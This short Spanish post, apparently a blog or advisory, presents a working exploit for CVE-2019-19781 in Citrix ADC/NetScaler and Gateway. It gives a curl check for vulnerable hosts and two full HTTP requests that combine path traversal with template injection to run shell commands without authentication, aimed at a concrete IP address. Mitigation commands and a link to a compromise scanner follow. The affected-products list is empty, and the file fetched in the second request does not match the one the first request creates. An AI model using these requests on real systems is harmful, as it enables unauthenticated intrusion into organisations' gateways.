
CVE-2019-19781 - Exploit de ejecución remota de código en Citrix ADC Netscaler
Ejecución remota de código (RCE) en Citrix Application Delivery Controller y Citrix Gateway
Se ha identificado una vulnerabilidad en Citrix Application Delivery Controller (ADC), anteriormente conocido como NetScaler ADC, y en Citrix Gateway, anteriormente conocido como NetScaler Gateway, que, si se explota, podría permitir a un atacante no autenticado ejecutar código arbitrario.
EDIT: Escáner de indicadores de compromiso para CVE-2019-19781 de Fireeye -> https://github.com/fireeye/ioc-scanner-CVE-2019-19781/
Productos afectados:

TARGET=your_ip
curl -vk –path-as-is https://$TARGET/vpn/../vpns/ 2>&1 | grep “You don’t have permission to access /vpns/” >/dev/null && echo “VULNERABLE: $TARGET” || echo “MITIGATED: $TARGET”
POST /vpn/../vpns/portal/scripts/newbm.pl
POST /vpn/../vpns/portal/scripts/rmbm.pl
GET /vpn/../vpns/portal/scripts/picktheme.pl
Solo se necesitan dos peticiones para explotar esta vulnerabilidad sin ningún tipo de autenticación.
Primera petición:
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 3.81.59.87
NSC_USER: ../../../../netscaler/portal/templates/randomletter
NSC_NONCE: c
Connection: close
Content-Length: 103
url=http://exemple.com&title=[%t=template.new({'BLOCK'='print `uname -a`'})%][% t %]&desc=test&UI_inuse=RfWeb
Segunda petición:
GET /vpns/portal/bonclay4.xml HTTP/1.1
Host: 3.81.59.87
NSC_USER: ../../../../netscaler/portal/templates/randomletter
NSC_NONCE: c
Connection: close

enable ns feature responder
add responder action respondwith403 respondwith "\"HTTP/1.1 403 Forbidden\r\n\r\n\""
add responder policy ctx267027 "HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" respondwith403
bind responder global ctx267027 1 END -type REQ_OVERRIDE
save config